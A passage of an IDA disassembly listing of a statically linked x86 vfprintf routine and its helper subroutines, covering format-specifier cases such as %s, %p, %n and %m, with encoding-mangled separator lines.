20h dec esi mov ecx, [ebp+var_4AC] mov edx, [ecx+eax+4] dec dword ptr [ecx+eax+4] test edx, edx jg short loc_805240C loc_8052422: ; CODE XREF: vfprintf+2B68j ; vfprintf+2B6Fj ... mov ebx, [ebp+arg_0] mov ebx, [ebx+50h] mov edi, esi not edi add edi, ebp push edi lea edx, [esi+1] push edx mov ecx, [ebp+arg_0] push ecx mov edx, [ebx+34h] call edx add esp, 0Ch cmp eax, edi jnz loc_8050E72 ; case 0x0 add [ebp+var_464], eax mov ebx, [ebp+var_4D0] mov edi, [ebp+var_4AC] cmp dword ptr [edi+ebx+20h], 0 jz loc_8052933 cmp dword ptr [edi+ebx+4], 0 jle loc_8052933 mov edx, [edi+ebx+4] push edx push 20h mov ecx, [ebp+arg_0] push ecx jmp loc_8052702 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8052480: ; CODE XREF: vfprintf+2407j ; DATA XREF: vfprintf+2410o mov eax, offset sub_8053310 ; case 0x45 jmp loc_80528AF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805248C: ; CODE XREF: vfprintf+2407j ; DATA XREF: vfprintf+2410o mov ebx, [ebp+var_4D0] ; case 0x63 mov edi, [ebp+var_4AC] dec dword ptr [edi+ebx+4] cmp dword ptr [edi+ebx+20h], 0 jnz short loc_80524C3 cmp dword ptr [edi+ebx+4], 0 jle short loc_80524C3 mov edx, [edi+ebx+4] push edx push 20h mov ecx, [ebp+arg_0] push ecx call sub_8062534 add [ebp+var_464], eax add esp, 0Ch loc_80524C3: ; CODE XREF: vfprintf+2C19j ; vfprintf+2C20j mov ebx, [ebp+var_4D0] mov edi, [ebp+var_4AC] mov edx, [edi+ebx+40h] lea edx, [edx+edx*2] mov ecx, [ebp+var_4B4] movzx eax, byte ptr [ecx+edx*4] mov ebx, [ebp+arg_0] mov edx, [ebx+14h] cmp [ebx+18h], edx ja short loc_8052504 movzx edx, al push edx push ebx call sub_8061910 add esp, 8 cmp eax, 0FFFFFFFFh jz loc_8050E72 ; case 0x0 jmp short loc_8052525 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8052504: ; CODE XREF: vfprintf+2C61j mov edi, [ebp+arg_0] mov edx, [edi+14h] mov byte ptr [ebp+var_4E0], al mov [edx], al movzx edx, byte ptr [ebp+var_4E0] inc dword ptr [edi+14h] cmp edx, 0FFFFFFFFh jz loc_8050E72 ; case 0x0 loc_8052525: ; CODE XREF: vfprintf+2C79j inc [ebp+var_464] mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] cmp dword ptr [ebx+ecx+20h], 0 jz loc_8052933 cmp dword ptr [ebx+ecx+4], 0 jle loc_8052933 mov edx, [ebx+ecx+4] push edx push 20h mov edi, [ebp+arg_0] push edi jmp loc_8052702 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052560: ; CODE XREF: vfprintf+2407j ; DATA XREF: vfprintf+2410o mov ecx, [ebp+var_4D0] ; case 0x73 mov ebx, [ebp+var_4AC] mov edx, [ebx+ecx+40h] lea edx, [edx+edx*2] mov edi, [ebp+var_4B4] mov esi, [edi+edx*4] loc_805257C: ; CODE XREF: vfprintf+2EF9j ; vfprintf+2F06j ... test esi, esi jnz short loc_80525C0 mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] cmp dword ptr [ebx+ecx], 0FFFFFFFFh jz short loc_8052598 cmp dword ptr [ebx+ecx], 5 jle short loc_80525AC loc_8052598: ; CODE XREF: vfprintf+2D08j mov esi, offset aNull ; "(null)" mov [ebp+var_4F0], 6 jmp loc_805266C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80525AC: ; CODE XREF: vfprintf+2D0Ej mov esi, offset unk_8067EEB mov [ebp+var_4F0], 0 jmp loc_805266C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80525C0: ; CODE XREF: vfprintf+2CF6j mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] cmp dword ptr [ecx+edi], 0FFFFFFFFh jz short loc_8052608 mov edx, [ecx+edi] push edx push 0 push esi call sub_80575C0 add esp, 0Ch test eax, eax jz short loc_80525F0 sub eax, esi mov [ebp+var_4F0], eax jmp short loc_805266C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80525F0: ; CODE XREF: vfprintf+2D5Bj mov ebx, [ebp+var_4D0] mov edi, [ebp+var_4AC] mov ebx, [edi+ebx] mov [ebp+var_4F0], ebx jmp short loc_805266C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8052608: ; CODE XREF: vfprintf+2D48j xor al, al mov [ebp+var_4F0], esi mov edi, esi cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx dec edx mov [ebp+var_4F0], edx mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] cmp dword ptr [ebx+ecx+4], 0 jnz short loc_805266C mov edi, [ebp+arg_0] mov edx, [edi+50h] mov ecx, [ebp+var_4F0] push ecx push esi push edi mov edx, [edx+34h] call edx add esp, 0Ch cmp [ebp+var_4F0], eax jnz loc_8050E72 ; case 0x0 mov ebx, [ebp+var_4F0] add [ebp+var_464], ebx jmp loc_8052933 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805266C: ; CODE XREF: vfprintf+2D1Fj ; vfprintf+2D33j ... mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] mov edx, [ecx+edi+4] sub edx, [ebp+var_4F0] mov [ecx+edi+4], edx cmp dword ptr [ecx+edi+20h], 0 jnz short loc_80526A6 test edx, edx jle short loc_80526A6 push edx push 20h mov ebx, [ebp+arg_0] push ebx call sub_8062534 add [ebp+var_464], eax add esp, 0Ch loc_80526A6: ; CODE XREF: vfprintf+2E03j ; vfprintf+2E07j mov edi, [ebp+arg_0] mov edx, [edi+50h] mov ecx, [ebp+var_4F0] push ecx push esi push edi mov edx, [edx+34h] call edx add esp, 0Ch cmp [ebp+var_4F0], eax jnz loc_8050E72 ; case 0x0 mov ebx, [ebp+var_4F0] add [ebp+var_464], ebx mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] cmp dword ptr [ecx+edi+20h], 0 jz loc_8052933 cmp dword ptr [ecx+edi+4], 0 jle loc_8052933 mov edx, [ecx+edi+4] push edx push 20h mov ebx, [ebp+arg_0] push ebx loc_8052702: ; CODE XREF: vfprintf+2BF2j ; vfprintf+2CD0j call sub_8062534 add [ebp+var_464], eax add esp, 0Ch jmp loc_8052933 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052718: ; CODE XREF: vfprintf+2407j ; DATA XREF: vfprintf+2410o mov edi, [ebp+var_4D0] ; case 0x70 mov ecx, [ebp+var_4AC] mov edx, [ecx+edi+40h] lea edx, [edx+edx*2] mov ebx, [ebp+var_4B4] mov edx, [ebx+edx*4] test edx, edx jz short loc_805276C mov [ebp+var_4F0], 10h mov [ebp+var_4C8], edx mov [ebp+var_4CC], 0 mov dword ptr [ecx+edi+18h], 1 mov byte ptr [ecx+edi+8], 78h mov dword ptr [ecx+edi+28h], 0 jmp loc_80520FB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805276C: ; CODE XREF: vfprintf+2EAEj mov esi, offset aNil_0 ; "(nil)" mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] cmp dword ptr [ecx+edi], 4 jg loc_805257C mov dword ptr [ecx+edi], 5 jmp loc_805257C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8052794: ; CODE XREF: vfprintf+2407j ; DATA XREF: vfprintf+2410o mov ebx, [ebp+var_4D0] ; case 0x6e mov edi, [ebp+var_4AC] cmp dword ptr [edi+ebx+0Ch], 0 jz short loc_80527CC mov edx, [edi+ebx+40h] lea edx, [edx+edx*2] mov ecx, [ebp+var_4B4] mov eax, [ecx+edx*4] mov ecx, [ebp+var_464] xor ebx, ebx mov [eax], ecx mov [eax+4], ebx jmp loc_8052933 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80527CC: ; CODE XREF: vfprintf+2F1Dj mov ebx, [ebp+var_4D0] mov edi, [ebp+var_4AC] cmp dword ptr [edi+ebx+14h], 0 jz short loc_80527FC mov edx, [edi+ebx+40h] lea edx, [edx+edx*2] mov ecx, [ebp+var_4B4] mov edx, [ecx+edx*4] mov ebx, [ebp+var_464] mov [edx], ebx jmp loc_8052933 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80527FC: ; CODE XREF: vfprintf+2F55j mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] cmp dword ptr [ecx+edi+10h], 0 jnz short loc_805282C mov edx, [ecx+edi+40h] lea edx, [edx+edx*2] mov ebx, [ebp+var_4B4] mov edx, [ebx+edx*4] mov edi, [ebp+var_464] mov [edx], edi jmp loc_8052933 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805282C: ; CODE XREF: vfprintf+2F85j mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] mov edx, [ebx+ecx+40h] lea edx, [edx+edx*2] mov edi, [ebp+var_4B4] mov edx, [edi+edx*4] mov cx, word ptr [ebp+var_464] mov [edx], cx jmp loc_8052933 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8052858: ; CODE XREF: vfprintf+2407j ; DATA XREF: vfprintf+2410o push 3E8h ; case 0x6d lea edx, [ebp+var_3E8] push edx mov edx, __errno push edx call sub_8056E14 mov esi, eax add esp, 0Ch jmp loc_805257C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805287C: ; CODE XREF: vfprintf+2401j ; vfprintf+2407j ; DATA XREF: ... cmp dword_807888C, 0 ; default jz short loc_80528A4 mov ebx, [ebp+var_4D0] mov edi, [ebp+var_4AC] movzx ebx, byte ptr [edi+ebx+8] mov edx, dword_807888C mov eax, [edx+ebx*4] jmp short loc_80528A6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80528A4: ; CODE XREF: vfprintf+2FFBj xor eax, eax loc_80528A6: ; CODE XREF: vfprintf+3017j test eax, eax jnz short loc_80528AF mov eax, offset sub_80529CC loc_80528AF: ; CODE XREF: vfprintf+2BFDj ; vfprintf+3020j mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] mov ecx, [ebx+ecx+48h] lea edx, ds:0[ecx*4] sub esp, edx mov [ebp+var_4F0], esp xor esi, esi jmp short loc_80528FC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80528D4: ; CODE XREF: vfprintf+307Ej mov edx, esi mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] add edx, [ebx+ecx+40h] lea edx, [edx+edx*2] mov edi, [ebp+var_4B4] lea edx, [edi+edx*4] mov ecx, [ebp+var_4F0] mov [ecx+esi*4], edx inc esi loc_80528FC: ; CODE XREF: vfprintf+3048j mov edi, [ebp+var_4D0] cmp [ebx+edi+48h], esi ja short loc_80528D4 mov ecx, [ebp+var_4F0] push ecx mov edx, [ebp+var_4AC] add edx, [ebp+var_4D0] push edx mov ebx, [ebp+arg_0] push ebx call eax add esp, 0Ch test eax, eax jl loc_8050E72 ; case 0x0 add [ebp+var_464], eax loc_8052933: ; CODE XREF: vfprintf+2596j ; vfprintf+2BD6j ... mov edi, [ebp+arg_0] mov edi, [edi+50h] mov [ebp+var_4E0], edi mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] mov edx, [ebx+ecx+34h] sub edx, [ebx+ecx+30h] push edx mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] mov edx, [ecx+edi+30h] push edx mov ebx, [ebp+arg_0] push ebx mov edi, [ebp+var_4E0] mov edx, [edi+34h] call edx mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] mov edx, [ebx+ecx+34h] sub edx, [ebx+ecx+30h] add esp, 0Ch cmp eax, edx jnz loc_8050E72 ; case 0x0 add [ebp+var_464], eax add [ebp+var_4D0], 58h inc [ebp+var_460] mov edi, [ebp+var_4A4] cmp [ebp+var_460], edi jb loc_8051C08 loc_80529B8: ; CODE XREF: vfprintf+FFj ; vfprintf+15DAj ... mov eax, [ebp+var_464] loc_80529BE: ; CODE XREF: vfprintf+54j ; vfprintf+15EFj lea esp, [ebp+var_500] pop ebx pop esi pop edi mov esp, ebp pop ebp retn vfprintf endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80529CC proc near ; DATA XREF: vfprintf+3022o var_410 = byte ptr -410h var_404 = dword ptr -404h var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push edi push esi push ebx mov ebx, [ebp+arg_0] xor edi, edi mov eax, [ebx+14h] cmp [ebx+18h], eax ja short loc_80529FC push 25h push ebx call sub_8061910 add esp, 8 cmp eax, 0FFFFFFFFh jz loc_8052C84 jmp short loc_8052A05 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80529FC: ; CODE XREF: sub_80529CC+17j mov eax, [ebx+14h] mov byte ptr [eax], 25h inc dword ptr [ebx+14h] loc_8052A05: ; CODE XREF: sub_80529CC+2Dj inc edi mov ecx, [ebp+arg_4] cmp dword ptr [ecx+18h], 0 jz short loc_8052A3A mov eax, [ebx+14h] cmp [ebx+18h], eax ja short loc_8052A30 push 23h push ebx call sub_8061910 add esp, 8 cmp eax, 0FFFFFFFFh jz loc_8052C84 jmp short loc_8052A39 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052A30: ; CODE XREF: sub_80529CC+49j mov eax, [ebx+14h] mov byte ptr [eax], 23h inc dword ptr [ebx+14h] loc_8052A39: ; CODE XREF: sub_80529CC+5Fj inc edi loc_8052A3A: ; CODE XREF: sub_80529CC+41j mov ecx, [ebp+arg_4] cmp dword ptr [ecx+28h], 0 jz short loc_8052A6E mov eax, [ebx+14h] cmp [ebx+18h], eax ja short loc_8052A64 push 27h push ebx call sub_8061910 add esp, 8 cmp eax, 0FFFFFFFFh jz loc_8052C84 jmp short loc_8052A6D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052A64: ; CODE XREF: sub_80529CC+7Dj mov eax, [ebx+14h] mov byte ptr [eax], 27h inc dword ptr [ebx+14h] loc_8052A6D: ; CODE XREF: sub_80529CC+93j inc edi loc_8052A6E: ; CODE XREF: sub_80529CC+75j mov ecx, [ebp+arg_4] cmp dword ptr [ecx+24h], 0 jz short loc_8052AA0 mov eax, [ebx+14h] cmp [ebx+18h], eax ja short loc_8052A98 push 2Bh loc_8052A81: ; CODE XREF: sub_80529CC+E7j push ebx call sub_8061910 add esp, 8 cmp eax, 0FFFFFFFFh jz loc_8052C84 jmp short loc_8052AC1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052A98: ; CODE XREF: sub_80529CC+B1j mov eax, [ebx+14h] mov byte ptr [eax], 2Bh jmp short loc_8052ABE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052AA0: ; CODE XREF: sub_80529CC+A9j mov ecx, [ebp+arg_4] cmp dword ptr [ecx+1Ch], 0 jz short loc_8052AC2 mov eax, [ebx+14h] cmp [ebx+18h], eax ja short loc_8052AB8 push 20h jmp short loc_8052A81 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052AB8: ; CODE XREF: sub_80529CC+E3j mov eax, [ebx+14h] mov byte ptr [eax], 20h loc_8052ABE: ; CODE XREF: sub_80529CC+D2j inc dword ptr [ebx+14h] loc_8052AC1: ; CODE XREF: sub_80529CC+C7j inc edi loc_8052AC2: ; CODE XREF: sub_80529CC+DBj mov ecx, [ebp+arg_4] cmp dword ptr [ecx+20h], 0 jz short loc_8052AF6 mov eax, [ebx+14h] cmp [ebx+18h], eax ja short loc_8052AEC push 2Dh push ebx call sub_8061910 add esp, 8 cmp eax, 0FFFFFFFFh jz loc_8052C84 jmp short loc_8052AF5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052AEC: ; CODE XREF: sub_80529CC+105j mov eax, [ebx+14h] mov byte ptr [eax], 2Dh inc dword ptr [ebx+14h] loc_8052AF5: ; CODE XREF: sub_80529CC+11Bj inc edi loc_8052AF6: ; CODE XREF: sub_80529CC+FDj mov ecx, [ebp+arg_4] cmp byte ptr [ecx+2Ch], 30h jnz short loc_8052B2A mov eax, [ebx+14h] cmp [ebx+18h], eax ja short loc_8052B20 push 30h push ebx call sub_8061910 add esp, 8 cmp eax, 0FFFFFFFFh jz loc_8052C84 jmp short loc_8052B29 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052B20: ; CODE XREF: sub_80529CC+139j mov eax, [ebx+14h] mov byte ptr [eax], 30h inc dword ptr [ebx+14h] loc_8052B29: ; CODE XREF: sub_80529CC+14Fj inc edi loc_8052B2A: ; CODE XREF: sub_80529CC+131j mov ecx, [ebp+arg_4] cmp dword ptr [ecx+4], 0 jz short loc_8052BA5 mov eax, [ecx+4] mov [ebp+var_404], ebp loc_8052B3C: ; CODE XREF: sub_80529CC+193j dec [ebp+var_404] mov ecx, 0Ah xor edx, edx div ecx mov esi, eax mov al, byte ptr ds:a0123456789abcd[edx] ; "0123456789abcdefghijklmnopqrstuvwxyz" mov ecx, [ebp+var_404] mov [ecx], al mov eax, esi test eax, eax jnz short loc_8052B3C mov esi, [ebp+var_404] jmp short loc_8052B9D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052B6C: ; CODE XREF: sub_80529CC+1D7j movzx edx, byte ptr [esi] mov eax, [ebx+14h] cmp [ebx+18h], eax ja short loc_8052B88 movzx eax, dl push eax push ebx call sub_8061910 add esp, 8 jmp short loc_8052B93 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052B88: ; CODE XREF: sub_80529CC+1A9j mov eax, [ebx+14h] mov [eax], dl movzx eax, dl inc dword ptr [ebx+14h] loc_8052B93: ; CODE XREF: sub_80529CC+1B8j cmp eax, 0FFFFFFFFh jz loc_8052C84 inc edi loc_8052B9D: ; CODE XREF: sub_80529CC+19Bj inc esi lea eax, [ebp+var_1] cmp esi, eax jbe short loc_8052B6C loc_8052BA5: ; CODE XREF: sub_80529CC+165j mov ecx, [ebp+arg_4] cmp dword ptr [ecx], 0FFFFFFFFh jz loc_8052C4D mov eax, [ebx+14h] cmp [ebx+18h], eax ja short loc_8052BD0 push 2Eh push ebx call sub_8061910 add esp, 8 cmp eax, 0FFFFFFFFh jz loc_8052C84 jmp short loc_8052BD9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8052BD0: ; CODE XREF: sub_80529CC+1EBj mov eax, [ebx+14h] mov byte ptr [eax], 2Eh inc dword ptr [ebx+14h] loc_8052BD9: ; CODE XREF: sub_80529CC+201j inc edi mov ecx, [ebp+arg_4] mov eax, [ecx] mov [ebp+var_404], ebp db 8Dh,76h,0 ; lea esi, [esi+0] loc_8052BE8: ; CODE XREF: sub_80529CC+23Fj dec [ebp+var_404] mov ecx, 0Ah xor edx, edx div ecx mov esi, eax mov al, byte ptr ds:a0123456789abcd[edx] ; "0123456789abcdefghijklmnopqrstuvwxyz" mov ecx, [ebp+var_404] mov [ecx], al mov eax, esi test eax, eax jnz short loc_8052BE8 mov esi, [ebp+var_404] jmp short loc_8052C45 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052C18: ; CODE XREF: sub_80529CC+27Fj movzx edx, byte ptr [esi] mov eax, [ebx+14h] cmp [ebx+18h], eax ja short loc_8052C34 movzx eax, dl push eax push ebx call sub_8061910 add esp, 8 jmp short loc_8052C3F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052C34: ; CODE XREF: sub_80529CC+255j mov eax, [ebx+14h] mov [eax], dl movzx eax, dl inc dword ptr [ebx+14h] loc_8052C3F: ; CODE XREF: sub_80529CC+264j cmp eax, 0FFFFFFFFh jz short loc_8052C84 inc edi loc_8052C45: ; CODE XREF: sub_80529CC+247j inc esi lea eax, [ebp+var_1] cmp esi, eax jbe short loc_8052C18 loc_8052C4D: ; CODE XREF: sub_80529CC+1DFj mov ecx, [ebp+arg_4] cmp byte ptr [ecx+8], 0 jz short loc_8052C8D movzx edx, byte ptr [ecx+8] mov eax, [ebx+14h] cmp [ebx+18h], eax ja short loc_8052C74 movzx eax, dl push eax push ebx call sub_8061910 cmp eax, 0FFFFFFFFh jz short loc_8052C84 jmp short loc_8052C8C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8052C74: ; CODE XREF: sub_80529CC+294j mov eax, [ebx+14h] mov [eax], dl movzx eax, dl inc dword ptr [ebx+14h] cmp eax, 0FFFFFFFFh jnz short loc_8052C8C loc_8052C84: ; CODE XREF: sub_80529CC+27j ; sub_80529CC+59j ... mov eax, 0FFFFFFFFh jmp short loc_8052C8F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8052C8C: ; CODE XREF: sub_80529CC+2A5j ; sub_80529CC+2B6j inc edi loc_8052C8D: ; CODE XREF: sub_80529CC+288j mov eax, edi loc_8052C8F: ; CODE XREF: sub_80529CC+2BDj lea esp, [ebp+var_410] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80529CC endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8052C9C proc near ; CODE XREF: vfprintf+DDFp ; vfprintf+F4Ap ... var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 0Ch push edi push esi push ebx mov esi, [ebp+arg_0] mov edi, [ebp+arg_8] cmp byte ptr [edi], 0FFh jz loc_8052D85 movzx edx, byte ptr [edi] mov [ebp+var_4], edx mov ebx, [ebp+arg_4] sub ebx, esi mov eax, ebx add eax, 3 and al, 0FCh sub esp, eax mov [ebp+var_8], esp lea eax, [esi+1] push ebx push eax mov edx, [ebp+var_8] push edx call memcpy mov edx, [ebp+var_8] lea ecx, [edx+ebx-1] mov esi, [ebp+arg_4] cmp ecx, edx jb loc_8052D85 nop loc_8052CEC: ; CODE XREF: sub_8052C9C+E3j mov al, [ecx] mov [esi], al dec ecx dec esi dec [ebp+var_4] jnz loc_8052D7C cmp [ebp+var_8], ecx ja loc_8052D85 mov al, [ebp+arg_C] mov [esi], al dec esi movzx ebx, byte ptr [edi] mov [ebp+var_4], ebx inc edi cmp byte ptr [edi], 0 jnz short loc_8052D1C dec edi jmp short loc_8052D7C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052D1C: ; CODE XREF: sub_8052C9C+78j cmp byte ptr [edi], 0FFh jnz short loc_8052D7C mov edx, [ebp+var_8] dec 